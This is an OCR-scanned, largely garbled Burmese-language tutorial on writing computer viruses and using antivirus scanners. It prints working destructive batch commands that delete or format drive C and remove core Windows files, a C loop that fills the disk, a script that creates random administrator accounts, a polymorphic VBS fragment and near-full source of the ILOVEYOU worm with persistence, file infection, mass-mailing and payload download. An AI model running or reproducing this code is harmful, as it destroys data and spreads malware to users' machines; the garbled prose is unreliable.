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MyDoom Worm Virus ssa[e3&: ( joog oad)

MyDoom Virus uxogoepdeops(8: E-mail gondaododnd§odulomddn voed:gs E-
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Sasser Worm Virus sse[328&: ( joog ga8)

Intemet cod:e[mpéacpeulgascguionm mroad(ud s 303 Virus[gdoloouu Firewall
System sogajulfgodeoqpicsol oS slevecdcopdiodadieqpdgologae Virus Scanner
sordeordyprgpion qpegééoimopndzmpaddecuiglulogin sleveacopS: Anti-Covero§o
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Virus eprcfodoligasntacpecdfes:
wgqéifoewy Virus Program Code cogof ey wadnadns copdpcieed(g
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wqé:ajieogeq:0g  Anti-Virus Program  cogofea:a00:d §odapifod [e§eoogeudeayad
BeooomBGeuigool alevendoops: s0§eomé:{mozfogedeguloonaocdy: Anti-Virus Pro-
gram copes:§ Sodopieqd Virus sogeq:§, mecnod mG[Beagrecdafogé (64 woyyf:
gpS:0pmmymdneneoy wdodiopgclends
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Virus Program Code

Virus Program Files 0o8903 Notepad Software ¢r0&saqraniopdesnsnd§iul el
craiﬁ:qué :\gqszaacarﬁmamg Assembly, C, C++, VisualBasic, Java, JavaScriptosogy Language
ndppimadifGiorpSesnadulonudn ercqayodescimslmeony Pascal Language oBopd:
?2jqproloodi
%30¢ [6¢ a9: Language (6603 Intel Hex Format Language ojeory omoSmydioymagdoc
sa5:c40lonudn e§ooscnndofgéesol(Gu

waomniqéGeud Virus Code cog0} sopeonf & oneedfioonioimozad esvoday
wneyfeé o8:00sqagedagronqdialy

shutdown -s
8 Program Code mcovy m§yyoron Shutdown ge§ado3§éicoqumi[gdolooads

200559038 ¢jocd¢ Shutdown fcon 03axeg Program Code 6034, agorespad§08Esfaé:
GredcopSienmoloouds Shutdown lcon o C:\WINDOWS!system32 canmgafesvlonudi

T B s Paeesi Tooh s

O - O 3 Prw iCrm [z

Fi B ves  Feerite  Todw e

logoff -s
£ Program Code meoyy miqjormcond§ajieso User Account njdada§ado)
i £:s0gi05(8d 0l onud

cRéuo>0dy Visual Basic Program o$a3:Biogoicapad §6§E:E (g8 vl enudn Logoft
o C:AWINDOWS\system32 cx005¢00§e0lonadi

gl een
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loop

start

goto loop

$ Program Code meorp Virus Code 603036000l 0344|0700} 36420530903
coolorads bat file Format [38288:qolonudn .bat soguromeq:ol §Exdgadgaul o,
o yoregdesnd godqpiaemndieont :o8§:q08Eulonuda

DEL C:\ -y

DEL DA -y

FORMAT C:\ -y

§ Program Code maeompmag§ofqrdondapod Virus Code Sfgdolorudu coremBul
B[ 40 :92gecgeniaiod Vinseoggoul foloruds R4 qore0d:egoBIy GV 00
od8:§ Bammao§lonadu System File(@803 Autoexec batzsgdeqredadeg)t wogdodadigpiod
Virus File c2d3fsdconol B

ore0S e gperycafmpdoln DEL songiod§cionols FORMAT M6070:007
qode§rdomals mmgadmeoadyaydyrevpoieonula: qodqadecsensol Windows
oadconicd Drive C eepr Bgjodacoadalsifme) Drive D 030l g3 §&conulonuda

-y meon Yes 08Som0gmopopuldin 0603536 grooScodulonudn JEondegay
qoSoimsl suloonod Confirm —-- Delete Massage Box o} Yes mgdefge§odomali

oo0odayefgespecdemnday, ndslonpd:dedconaadulonudu

Are you sure you want to send ‘Copy of auto repare stop vbook. txt’
1o the Recyde Bin? I
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end shell32.dll
del shell32.dll
end explorer.exe
del explorer.exe

2 Program Code ;o) Windows eancd & Eemnlgegécf adoy  Virus file
ondg(gdoloruds C:\Windows\explorer.exe 03 g3 000l u Windows 0oé qiee(sdcdmdor

§Eogdqpiedcmyoiscdadaogc Windows oadecsconul

B B » ¥ ¥ B 9

_defwit.pf Oheg sgwndelene ALCMTRLENE ALCWIRD.EXE ..tm bootstat.cat |

EESE&M’W

dagerr.oml  dagem.esl  eSslleratet. .. ﬁm‘lﬂ

2888888

DEL CAWINDOWS, SETUP

FORMAT C:\WINDOWS, SETUP

§ Program Code mcopSiaqeapa3,clon Windows vonnd§Eemnéfojeydcdadol Virus
file >89Gd0lonuSn C:\Windows\Setup ofgjodeooxoln Windows mogadigdoncemn
a0 8ocdadomali

cd..

cd..

delc:*.*

Y

$ Program Code mcoxp Drive C :ogé:go§ieqomecymaicd:afgo3§coy Virus Code
mﬁq@&ﬂmuﬁn cdafor CD Disk 03 efosomewyodolog:n Command Code oodujsfsdcl onudn

** meon fugmmioedyoioladeicoonaln ymeoxn Confimm —-- Delete Massage
Box 0} Yes mgdegadodomoln
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DEL C:\WINDOWS\REGEDIT.EXE

FORMAT C:A\WINDOWS\REGEDIT.EXE

§ Program Code mcory Registry Editor eon0d § emod(goqdafadoy Code
»ég[gduloruSu C:\Windows\Regedit.exe 03 gjo3 soorooln §ooas§aficed, Registry
.9odondic0m03 Registry Data sogaqioi§culeanionudu Registry Data copadyqoddeaogé
RS yeencdgsonulog omnd§ioimaemoniidaytaogd: Emoreogqpigod, 28de[o3n
of¢od opgqyereaadagarcecl couds

Head:msdos.C:/

Middle:delete.C:/

End:Quit.bat.C:/

8 Program Code meoy Computer 03890309 qj03c30503 Virus Code [gdolonudn
msdos.bat § 388:002:(8: REQOPBREePBI§npSeé B[OE:c0§53:098ea008 qada}
pSeaooéeocloruSn System File (603 msdos.sys (&8 .08 eepodeonomali File format
i‘rrré@::aqﬂmtﬁu

start iexplore

start iexplore

$ Program Code of co:(§: iexplore.bat § 236:c00:qulonudn start iexplorer
Boreefonéieqgpiqpicopdogié a3§qyexo0p¢ Explorer Box cogqpigpigs coovl omudi poed
nefniondsouopdagé Explorer Box 50 gy¢oooya(edB: soocopgconiagé Explorer
Boxaoo mcdmeagpodgéanulcd§eudn cjorncond§yéSopmcyad ReqePuTdondaC:
ago:§&olanadu System File &3 0&eepodaromol

805 megoémuyndeno) Virus copgomadigpioraeay,qulmadi mggjemme(ndod:
gorcopdagadagd seguSonmgpegiyedodadosolm BegosBuyodyScgiqdagaivlonuds

by} oo
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SET COMSPEC=A:\WINDOWS\COMMAND.COM

SET windi=A\WINDOWS

SET winbootdir=A:\\WINDOWS

SET PATH=A:\WINDOWS;a:\WINDOWS\COMMAND

SET PROMPT=$p$g

SET TEMP=A\WINDOWS\TEMP

SET TMP=A:\WINDOWS\TEMP

wogsudzopen:op ProgmmCudcﬂ@&u'lmLﬁu weo[ed Wmcmmsqﬁéuﬂimuﬁu
autoexec.bat B[3d88:000:0lon0Su System File [g603  autoexec.bat File B maoadolGé
oS eanqadqp:(aé 080 §adomlsduloaudn wqé:adielooqog System File cgep¢o
pontoécadonuli miyjoegsopie¢ System File cod:e[m08 gpre{iné cgoyzecyad
Boxgodgol(sdeoclc8§ucds

0add opqyor Virus meondqpigpigavl forodop Virus Code copfadolonudn gac:
System File[odo} autoexec.batgopp §{o3ogdaprefspd conionoddl g BOgodeonenodul 0oudi
oo6q:a 0%, condeoo’ DOS command G004 meonajidaulonad

wcSme0qp0’ command o323:§§E:c0105e03(8p5 3¢ 0001 B: ooy addoogafen
600102081 3000501 Codefiol Programming3{5E cpiqyiormend cpdesoniqndaneoroep:
ogySroqyé aqqpio0oad:§Efoolonade

DOS command 603¢20305§0559:8E 206§ oiStoyep Programming Language c>d990%
§B:copSiaq:§clonudn

oo[é: ——- Beadul CodegpraopSmeq:ol command [géxo[g¢ mgpS:cuSogaiqos
conteanc[mod fod§ ol maj:ggeqdcols
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shutdown -s -t 10 -c
£ Program Code 03co 403400960l go Shorteut Icon sopo :onodod  Virus File
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mﬂ@ﬂ@itﬂnﬂmﬁ*nﬁmwﬁ#ﬂéﬁ%wéﬁ=*v=-m=:~‘—=‘£ﬂ3 ngéematiogB:
Huor %ﬁmmqwﬁmuwﬁﬁu*meﬂl ol 8130603920 Solonuds
oo0cdopqpimogade: Command Code §dqj:mad g s §235:0 ¢ =)0}
eadc0:0lmi 38§0j:8c0qd sl ompdiewdfgefadoloruds
Réo i gaecologd Right Click §5@8: New => Shoncut o gfoools sol oo}
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del c:\windows\system32\restore

del c:\windows\system32\winlogon.exe

del c\windows\system32\logonui.exe

shutdown -f

0o030] Program Code 6opa360n; goicopSeqBooddlonudn vced:iadimefoition
System32 Folder 6mo03m restore File of o3 cool muSt gl wme(mrimenn
m§ yoroogs o3 :sl (g 60z, qe0 6§o[3d Logon System of qo3§ §<:c§ o0l
nBuwedEimson Logon Ul ddulgndc§odcoomdly canodadimemntioneeyy Shutdown
BéSagoreoB: pdqyorrecmadongéeorsla:s

wyego05dE: Virus sscondyprgpiadioncy Command Code eogfesulenudu Virus
BYPIQUY W64O03TRUY0560:§,0005 qjo5a8:§ 03§ =m0 §eonfmsulnude By igdd,
[Bzeni00n0mmmeony System 32 Folder cammdgmen:ul System File o3[gdulonudn

START v.c

#include<stdio.h>

#include<stdlib.h> _~

void main()

while(1)

system("dir>>a-3a.exe"),

c0p[6Ec460p Virus Codecogmeor opéqoBmesnsmugadeniedodioononals
BEomgndeulgoecgfedaoodo) Web Create Language Gogencopdadronoda)y File Control Virus
faddlonudu Programming goicopSogeogolcy While Loop 040323200001 03050

Windows System 90§ qoroc0p800520p54¢ ' dir’ Command Code »o3E: a-8a.exe
Bepegodmsl ngitmmmmmum@m:m@:q&m&agmdmuﬁl BEomgodadiesac: of
Virus File B30084p5:4p5:3 98 803 ms] mEongadalé 1meg§oecoronB: mEgyerol
aSayrolonudn -
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Welcome to the random user/administrator + Passwords Generator!
by, xXxVodicaxXx

set b=.bat

set g=goto

set a="administrators”

set u=user

set n=net

set |=localgroup

set x=1

set d=/add

6

Now Makeing Users!

%n% %u% %x% %random% %d%

%n% %% %a% %x% %d%

set /a x=x+1

%g% 6

0260533 0§ qjovocd corotol  Admin Password cogof we§ @eoqpade(gac:4,
a8loic0nicd Virus Code cogfsdulenudu jooo ¢acomp Password Change Viruseop cop [oHjden:
c4qol[B1 er005umn88madeuicnniol Logon Password ey} s[gad:dqormualeo
09§} Erc0pI 3Eic000d MEypoegéemyulogin Random (Goqjosd) 4p5:0484,
cfné:cSodoimoged of:enip§adoequloga

ndgeonfoloud eseqagedind(maiep Window 7 ojejioeciad§adiologi
Admin System mog:oéafolorudu slevendcops: ead[genicazmeoyy Window 7 Admin
o3eopleci§dolonudn

waermsdmoy Bapad Password B§:dcdodqulo [0§g¢3:§Eeoqs Passoword
Hack Software cop$ 33& :aotcontolonaSs woScntqgameorn Password ¢¢ [Srag)c
pégorRCiedodoyeed o Virus File jeoz,e300¢ gpfS: godgodqulends ewnpodayé
Réqorrssl6§805B:[04 g 0pSes orbsl[gdeloadiconilc3§eubd
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Programming G0 0006460000603 qPRIR0R00 (R&QYIO60RT4PIgRF RE0IP0)
I LOVE YOU Virus §, Program Code copafeamnadogéeud(geuiadaduloady
8Sencdecomntican Viruseqraggpimade[mpudced m8mapdesoniqnd Command
Code sopadq§cpSeonivlonudn [G4en Anti-Virus cepagecg§svlon meconndmdlsécons
S guSesdDedoSulomnuSt woegesucdaqpimoyad gaicopScoqd wqgc:[o§capdnd

condiugmbolonud

On Error Resume Next dim fso,dirsystem,dirwin,ditemp,eq,ctrfile,vbscopy dow
eq="" ctr=0 Set fso = CreateObject("Scripting.FileSystemObject”)

set file = fso.OpenTextFile(WScript.ScriptFullname, 1) vbscopy=file.ReadAll main()
sub main() On Error Resume Next dim wscr,m set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEYCURRENTUSER\Software\Microsoft\Windows Scripting
Host\Settings\Timeout”)

if (rr>=1) then wscr.RegWrite “HKEYCURRENTUSER\Software\Microsoft\Windows
Scripting Host\Settings\Timeout”,0,"REGDWORD" end if Set dirwin =
fso.GetSpecialFolder(0) Set dirsystem = fso.GetSpecialFolder(1) Set dirtemp =
fso.GetSpecialFolder(2) Set ¢ = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem& \MSKemel32.vbs")

¢.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-
YOU.TXT.vbs") regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error
Resume Next Dim num,downread regcreate "HKEYLOCALMACHINE\Software
\Microsoft\Windows\CurrentVersion\Run\MSKernel32 * dirsystem& " \MSKermnel32.vbs”

regcreate “HKEYLOCALMACHINE\Software\Microsoft\Windows\CurrentVersion
\RunServices\Win32DLL" dirwin& \Win32DLL.vbs"

downread="" downread=regget("HKEYCURRENTUSER\Software\Microsoft
\Internet Explorer\Download Directory”) if (downread="") then downread="c:" end if if
(fileexist(dirsystem&"\WinFAT32.exe")=1) then Randomize num = Int{(4 * Rnd) + 1) if num

-

= 1 then regcreate “HKCU\Software\Microsoft\internet Explorer\Main\Start Page”,"http:/

gl e
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www,####.*—younmsf‘HJKhjnwarhjkucwtwertnMTFwetrdsfmhFnj‘
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe” elseif num = 2 then regcreate
“HKCU\Software\Microsoft\internet Explorer\Main\Start Page”,"hitp://www.####/~angelcat/
skladjfifdjghKJnwetryDGFikjUlyqwerWe 546786324hjk4jnHHGbvbmKLJK]jhkgjdw/WIN-
BUGSFIX.exe” elseif num = 3 then regcreate “HKCU\Software\Microsoftiinternet
Explorer\Main\Start Page”,"http://www.####/~koichi/
6 TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm POhfgERE7b3Vbva/WIN-BUGSFIX.exe”
elseif num = 4 then regcreate “HKCU\Software\Microsoftiinternet Explorer\Main\Start
Page".“httpznwww,####!-—chursdgfhiksd{jthanfngLijqwluHJBhAFSI}ijh
Yl.lngerasdjhPhjasfdglkNEhbqw&bmznxcbvnmadshfng23?461234iuy?th§g!WlN-
BUGSFIX .exe” end if end if if (fileexist{downread& \WIN-BUGSFIX exe")=0) then regcreate
“HKEYLOCALMACHINE\Software\MicrosoftiWindows\CurrentVersion\Run\WIN-BUGSFI
X" downread& \WIN-BUGSFIX exe" regcreate "HKEYCURRENTU SER\Software\Microsoft
\Internet Explorer\Start Page”,"about:blank” end if end sub sub listadriv On Error Resume
Next Dim d.dc,s Set dc = fso.Drives For Each d in dc If d.DriveType = 2 or d.DriveType=3
Then folderlist{d.path&™) end if Next listadriv = s end sub sub infectfiles(folderspec) On
Error Resume Next dim f.f1,fc,ext.ap,mircfname,s,bname mp3 set f =
fso.GetFolder(folderspec) set fc = f.Files for each f1 in fc ext=fso.GetExtensionName
(f1.path) ext=lcase(ext) s=Icase(f1.name) if (ext="vbs") or (ext="vbe") then set
ap=fso.OpenTextFile(f1.path,2 true) ap.write vbscopy ap.close elseif(ext="js") or (ext="jse")
or (ext="css") or (ext="wsh") or (ext="sct”) or (ext="hta") then set ap=fso.OpenTextFile
(f1.path,2 true) ap.write vbscopy ap.close bname=fso.GetBaseName(f1.path) set
cop=fso.GetFile(f1.path) cop.copy(folderspec&™&bname&”.vbs®) fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then set ap=fso.OpenTextFile(f1.path,2,true) ap.write
vbscopy ap.close set cop=fso.GetFile(f1.path) cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path) elseif(ext="mp3") or (ext="mp2") then set
mp3=fso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set
att=fso.GetFile(f1.path) att.attributes=att.attributes+2 end if if (eq<>folderspec) then if

gy -
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(s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="script.ini’) or (s="mirc.hip")
then set scriptini=fso.CreateTextFile(folderspec&™script.ini”) scriptini.WriteLine “[script]’
scriptini. WriteLine “;mIRC Script” scriptini.WriteLine *; Please dont edit this script. miRC
will corrupt, if mIRC will" scriptini,WriteLine " corrupt... WINDOWS will affect and will not
run correctly. thanks” scriptini.WriteLine “;” scriptini.WriteLine “;Khaled Mardam-Bey"
scriptini.WriteLine “;http://www.####.com” scriptini.WriteLine *;" scriptini.WriteLine "n0=on
1:JOIN:#:{" scriptini.WriteLine “n1= /if  $nick == $me ) { halt }" scriptini.WriteLine "n2=/.dcc
send $nick “&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM" scriptini.WriteLine “n3=}"
scriptini.close eq=folderspec end if end if next end sub sub folderlist(folderspec) On Error
Resume Next dim f.f1,sf set f = fso.GetFolder(folderspec) set sf = f. SubFolders for each f1
in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set
regedit = CreateObject("WScript. Shell”) regedit.RegWrite regkey,regvalue end sub func-
tion regget(value) Set regedit = CreateObject(*WScript.Shell")
regget=regedit. RegRead(value) end function function fileexist(filespec) On Error Resume
Next dim msg if (fso.FileExists(filespec)) Then msg = 01 else msg = 10 end if fileexist =
msg end function function folderexist(folderspec) On Error Resume Next dim msg if
(fso.GetFolderExists(folderspec)) then msg = 0 else msg = 1 end if fileexist = msg end
function sub spreadtoemail() On Error Resume Next dim
x,a,ctrlists, clrentries, malead, b, regedit, regv,regad set regedit=CreateObject("WScript.Shell")
set out=WScript. CreateObject(*Outlook.Aplication”) set mapi=out. GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count set a=mapi.AddressLists(ctrlists) x=1
regv=regedit. RegRead("HKEYCURRENTUSER\Software\Microsoft\ WAB"&a) if (regv="")
then regv=1 end if if (int(a.AddressEntries.Count)>int(regv)) then for ctrentries=1 to
a.AddressEntries.Count malead=a.AddressEntries(x) regad=""
regad=regedit. RegRead(*‘HKEYCURRENTUSER\Software\Microsoftt WAB"&malead) if
(regad="") then set male=out.Createltem(0) male.Recipients.Add(malead) male.Subject
=*ILOVEYOU" male.Body = vberlf& kindly check the attached LOVELETTER coming from
me." male.Attachments.Add(dirsystem& \LOVE-LETTER-FOR-YOU.TXT.vbs") male.Send
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regedit.RegWrite “HKEYCURRENTUS ER\Software\Microsoft\WAB"&malead,
1,"REGDWORD" end if

x=x+1 next regedit. RegWrite “HKEYCURRENTUSER\Software\Microsof\WAB"&a,
a.AddressEntries.Count else regedit.RegWrite "HKEYCURRETNUSER\Software
\Microsoft\WAB"&a, a.AddressEntries.Count end if next Set out=Nothing Set mapi=Nothing
end sub sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2 dt3,dt4,11,dt5,dt6
dta1="LOVELETTER - HTM

0360330l 1 LOVE YOU Virus Program Code 6oguo 034qjo>> Programming Lan-
guage G0par064 59603 BO30S TR § v BEaoImBmP[deovlouds Byodepdcsranin§neoy
podeops: 2§ie0:§:ndsdgéc], wog§ngepudypresgfoloals
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On Error Resume Next

spawn()

sub spawn()

Set s = CreateObject("Scripting.FileSystemObject”)
Set f = s.GetFile(wscript.scriptfullname)

f.Copy ("c:\anyname.vbs")

f.Copy ("c:\folder\subfolder\...\anyname.vbs")
f.Copy ("c:\attachment.vbs")

f.Copy ("c:\attachment1.vbs")

end sub

mail()

sub mail()

Set a = CreateObject("Outlook.Application”)

Set b = a.GetNameSpace("MAPI")

If a = "Outlook” Then

b.Logon "profile”, "password”

For y = 1 To b.AddressLists.Count

Set d = b.AddressLists(y)

x=1

Set ¢ = a.Createltem(0)

For oo = 1 To d.AddressEntries.Count

e = d.AddressEntries(x)

%hjmmt% set ff=createobject("scripting.filesystemobject”)>>poly.vbs
%hjmmt% set rr=ff.opentextfile(%0,1)>>poly.vbs
%hjmmt% aa = rr.readall>>poly.vbs
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%hjmmt% rr.close>>poly.vbs

%hjmmt% Randomize>>poly.vbs

%hjmmt% poly = int(rnd * 3)>>poly.vbs

%hjmmt% if poly = 0 or poly = 2 then>>poly.vbs

%hjmmt% s = chr(int(22 * rnd) + 97)>>poly.vbs

%hjmmit% rand1 = Replace(aa,"hjmmt" "hjmmt" & s *& poly)>>poly.vbs
%hjmmt% rand2 = Replace(rand1,"bugcl”,"bugcl® *& s *& s *& poly)>>poly.vbs
%hjmmt% else>>poly.vbs

%hjmmt% polynum = int(rnd * 7)>>poly.vbs

%hjmmt% for i = 1 to polynum>>poly.vbs

%hjmmt% polychar = chr(int(22 * rnd) + 97)>>poly.vbs

%hjmmt% polyall = polyall + polychar>>poly.vbs

@del poly.vbs

@exit
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Anti-Virus Program sogopgqjoomopé: Directory 00p5 630005 (8164 qpugoj sl
c30050] wea(o3: System File copalegepgjolodudn

SCAN32.DLL

TOOL.EXE
RWABS16.DLL
RWABS32.DLL
SCAN.EXE
CLEAN.DAT
NAMES.DAT
SCAN.DAT
LICENSE.DAT
MESSAGES.DAT
PACKINGLST
VALIDATE.EXE
CONTACT.TXT
UserGuide.PDF
LICENSE.TXT
README.TXT
SIGNLIC.TXT

32-bit Anti-Virus Engine
Scanning support file
VirusScan 16-bit support file
VirusScan 32-bit support file
VirusScan Command-Line
Virus definition file

Virus definition file

Virus definition file

License information
Message contents file

List of file validation codes
File checksum tool

Contact information

Product Guide

License document

This document

Third-party license information

TXT File oy Information m0305a0[gécy, goda32:3 ogi€ copdrmenze[adiolu
oS6sd1¢o8egol SCAN32DLL File meopmenulsd:addqudeq:esl :asonéedulorad
3lefo3né .DLL File coguanmeeol oy mepyasgspogaoaifonol ooudn

EXE File soymeoy 234§ [m0:qupii o3 desoad god gpimoyad of 4 1q)16
0483Eqpigdolonudu memndisdieconnifeuicscl Supports File gpiladolooudu

[DAT File cogencopS:ecleQuldn Virus Definition File 2(sémqpiagien §Eulonuds

Virus Update apSodaas] .DAT File sogmc]gpiolonud Viruseogd,codief3oEiaop apdeaond

q05ep0} §garRgdBNdB[GE Anti-Virus Program cognfmaleu:§, aj:aootvlonudu
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Anti-Virus Program cogé, Virus Scanner ¢oau7:cz:on§u’l File Format gp:ofc§aded
odes0:0lonuSn HydamesdEorpSesonadooniogé soybedogaicuecd Directory 203t oogc:ol
con:0d Virus File Format cogadagi€ o o3susBigindogodadadul onudi

.BIN, .COM, .DLL, .DOC, .DOT, .EXE, .HTM, .INI, .OVL, .RTF,

SYS, .VBS, VXD, XLA, XLS, and XLT. sleogmeon miyjommoyiyo 60ge)
qp:o3 System File Format cop[gdclonuSu Virus coguoncops: §of File Format

604, confmulonudi

§ u[0¢ caadul Compressed File Formataopg copS: Viruseogaoog Eomafené Com-
pressed File coan?mémﬁmw']mﬁu

ARC, .ARJ, .CAB, Diet, GZIP, LZEXE, LZH, PKLite, .RAR,
.TAR, .-TDO, .??_, and .ZIP

sleopgdfedulonudu Zip File o oga8gp:ol ovddi (989303 2Og4ea0:cLI600
Go[edeoqs gjcdodomuln o:oiesnddeclygonpd(8: File Format sop[0n:e4 ool
opayiqpionmeny Zip Filed RAR File S[edulonuda

Method of File Infection

086s0:5 Harddisk 034d¢j:4600:0 05903 con[maol oouSi NTFS §, FAT o} (a0l on0bu
FAT 68 Window 95, 98 condcondmaj:3(8: NTFS ofeorpcons§ Window 7 cgodeclajgad
23:6490107051 FAT 0} Window XP egond§Ergqpropéadiagegeneonpoli FAT o3gduicodd
conidlonudu FAT 16§, FAT 32 3 fgdolonudi

NTFS 0503 [5]gemod:(§: Multiple Data Streams § 3oqdcgdesonculonuds
3lafmpé e gfB NTFS adooocoadsndiegaosfoiclonudn FAT ojaj:degm DOS Com-
mand cogefogd:oqége Bajigonod§c§ulonuds Window 95, 98 cogej DOS Command
coga}Broopagéqulonadn DOS Command cogematiemnéng:00039a0o opepotorudicl,
yodupfsoiondescimbsleu]

we NTFS6s05¢o60% Internal Command cogoonadionadefaj:§é(molonudn Exter-
nal Command 63333 :adaefianeconniuldn sacdegoni(osgorudeloquarsin DOS Com-
mand coga}:onodagé Virus ofamaguionmeé:§Eoloudn
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Anti-Virus Program c>88,4¢4> Batch File Program Code Line ndgledolodds
9409 {oconton(adal, or0085afmpdcdequlogin 20eommaepianl folodudn Master

Code Line c§sslad[molonud

{@ECHO OFF

SCAN /ADL /SECURE /INOBREAK
IF ERRORLEVEL 102 GOTO ERR102
IF ERRORLEVEL 21 GOTO ERR21
IF ERRORLEVEL 20 GOTO ERR20
IF ERRORLEVEL 19 GOTO ERR19
IF ERRORLEVEL 15 GOTO ERR15
IF ERRORLEVEL 13 GOTO ERR13
IF ERRORLEVEL 10 GOTO ERR10
IF ERRORLEVEL 8 GOTO ERR8
IF ERRORLEVEL 6 GOTO ERRE

IF ERRORLEVEL 2 GOTO ERR2

IF ERRORLEVEL 0 GOTO ERRO
:ERR102

ECHO User exited.

GOTO EXIT

‘ERR21

ECHO Clean on reboot. Please restart this PC to complete cleaning.

GOTO EXIT
‘ERR20

ECHO Frequency error (Don't scan N hours after the previous scan).

GOTO EXIT

‘ERR19

ECHO Al cleaned.

GOTO EXIT

‘ERR15

ECHO Self-integrity check failed
GOTO EXIT

‘ERR13

ECHO Virus found!

GOTO EXIT

(ERR10

ECHO A virus was found in memory!
GOTO EXIT

‘ERR8

ECHO DAT file not found.

GOTO EXIT

'‘ERRG

ECHO There has been a problem [not a virus] with scan.
GOTO EXIT
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ERR2

ECHO DAT file integrity check failed.

GOTO EXIT

‘ERRO

ECHO Scan completed successfully. No viruses found.
LOGIN1.EXE %1 %2 %3

EXIT

DAT File 03} 08§ 8 meqagaonionnili ECHO ca3 oo :eogaduad(mpiol
§ &:e0qj0d0fcopd ogéiqdmozad 23 §:q03603dulonadn odsoCeoniang Local Drives
sopBodgaol

canndedy ppé(dnigadecgmeop:  Anti-Scan cogd 3aj:q)  Title Command 6o
b0l onudu 0o3[sc:qé:[gesssorpologi ag@:qrﬁmeoau’l[@:m:n% [o3zent0cd[mpiol

SCAN /ALL /STREAMS FILE All streams were scanned.
The virus is detected.
SCAN /ALL FILE:STREAM The exact stream name was specified.

The virus is detected.

SCAN JALL /STREAMS FILE:STREAM The exact stream name was specified.
The virus is detected.

SCAN /ALL FILE:STR*® An exact stream name was not specified.
The virus is not detected.

SCAN /ALL /STREAMS FILE:STR* All streams beginning with “str” are scanned.
The virus is detected.

SCAN /ALL FILE No streams were named.
The virus is not detected,

$ndslcod[geus Title Command 6oy o cornmspdicadqéi0§ cfeuScodad,
gé:loadosolondds
Janalyze Virus caao%mam:gagﬂorag%magnaai solonudi
/manalyze Virus ccrgi‘l_mam:chcgﬁﬂa:gqp:nﬁﬂmg&mognﬁi?:u? onudn
fappendbad  Virus cogonpSesonadcdado) infected File cogo? Badlist File [6§oln
/alldrives ﬁmmmﬁmémw} Drive 392:03:03 m@&ﬁé:mm:ﬁ 0
CD, Floppy, USB Stick cogoduledolonadu

/boot REqjo0oncgn3cdsiqudoy Bootsector, MBR eoga0dd §Eiolonadi
§ocSem soofiol:folenionudn erecoigradio(es wgpdicudancedgedodeqal oS
el e
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Anti-Virus Program 06 §¢035] :002:03 44> Virus Scanner Code line ndgod
cud(0giéoleanionudn 2006§ 0200593603 TREROVII} 160D ca5copS: Programming Gopoyd
qaiqp:aaogaﬁmcgiuémn’f:cécqu’lmuﬁn modgpiafuciadadonpdsé gorcopdaguicons
B iahi0p0dcd Egprodajiconivlonady

Private Sub Timerl_Timer()

Dim i As Integer

For i = 0 to List].ListCount - 1

If cal VIS(List1.List(i)) = “Enter the virus VIS here!” Then
MsgBox “Virus are running!”,vbExclamation, #virus name here#
Elself cal VIS(List].list(i)) = “#Enter the virus VISC here#” Then
MsgBox “Virus are running”, vbExclamation, “#virus name here#
End If

Next

End Sub

wyesdooonioy Virus Scanner Code linew>o Visual Basic sul gomagdeeooniordl
ca0deade Code line copaneony File §, Folder copladnidqpegqeeionsiconoy Code line
sopladulonudu

strFoundProcess =Dim AllProcessDim ProcessDim strFoundProcessFalse
AllProcess = GetObject(“winmgmits:™)

strFoundProcess =For Each Process In AllProcess. InstancesOfi "Win32_process™)
If (InStr(UCase(Process.Name), “THEPROCESS.EXE”) = 1)

Then ListBox 1.ltems. Add("THENAMEOFTHEVIRUS") True Exit For

End If Next If strFoundProcess = False Then

End If
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AllProcess =Nothing

strFoundProcess =False

AllProcess = GetObject{“winmgmts:")

If (InStr(UCase(Process.Name), “THEPROCESS.EXE") = 1) Then
ListBox | Items.Add(strFoundProcess =*THENAMEOFTHEVIRUS")True Exit For
End If

Next If strFoundProcess = False Then

End If

AllProcess =Nothing For Each Process In AllProcess.InstancesOf("Win32_process™)
False

AllProcess = GetObject(“winmgmts:")

*create object For Each Process In AllProcess. InstancesOf{"Win32_process™)

*Get all the processes running in your PC If (InStr{ UCase(Process. Name), “AUPDATE.EXE"™) = 1)
Then

‘Made all uppercase to remove ambiguity. Replace TASKMGR.EXE with your application name in
CAPS.

ListBox |.ltems. Add(“Spyware. W32.123bar")

strFoundProcess =TrueExit

ForEnd

If

NextIf strFoundProcess = False

ThenEnd

Visual Basic copooncgaggpigacgadmeeiol modiadéieagladolonudn ondefaéiqisef
£E20p808 gor0opSeurdln 200ehor052ygprR0g0s wo6c0IogoigRicdln garecopS ooy
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$58: Edit GEC§copiBe0isEqsiclorsn

G§2B MPYPIYIBYCI]: VN6, P 1q] §Pi66:02: 03 qC:[ocoswad
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Well Delete Script Program c3eq;eoa:[8&:

aog Programmaony Virus Filesognqindmogadadignfsdolorud mao¢fe 4pbicos:
oupodeveud Beamntiagiod:§Eolooudn Virus File eogojaoousg Delete[sSogo3gcoln DOS
Command 03copS:a00e§ 23153 9y} ;ecgodwendnd§§cone(nog wq Program cco103
v§0S:c0t0dadqomal

@ECHO OFF

prompt Sp $g .
title GOLDEN GATE SECURITY (Well Delete)
:Destroy

color 1C

CLS

ECHO.

ECHO GOLDEN GATE SECURITY (Well Delete)
ECHO DRIVE DESTROY

ECHO.

ECHO Easy Delete all Virus and No Deleted File.
ECHO.

dir /a/w

ECHO.

ECHO.

ECHO.

ECHO PRESS THE TAB KEY, TO SELECT DELETE DIRECTORY
ECHO IF YOUR SELECT IS CONFIRM, PRESS THE ENTER KEY.
ECHO.

SET /P M= DESTROY TO -

ECHO.

ECHO.

‘WHY

SET /P VAL= SURE DELETED, YOU SELECT DIRECTORY(Y/N)?
IF /1 "%VAL%"="Y" GOTO :DEL

IF /1 "% VAL%"="N" GOTO :DESTROY

GOTO :WHY




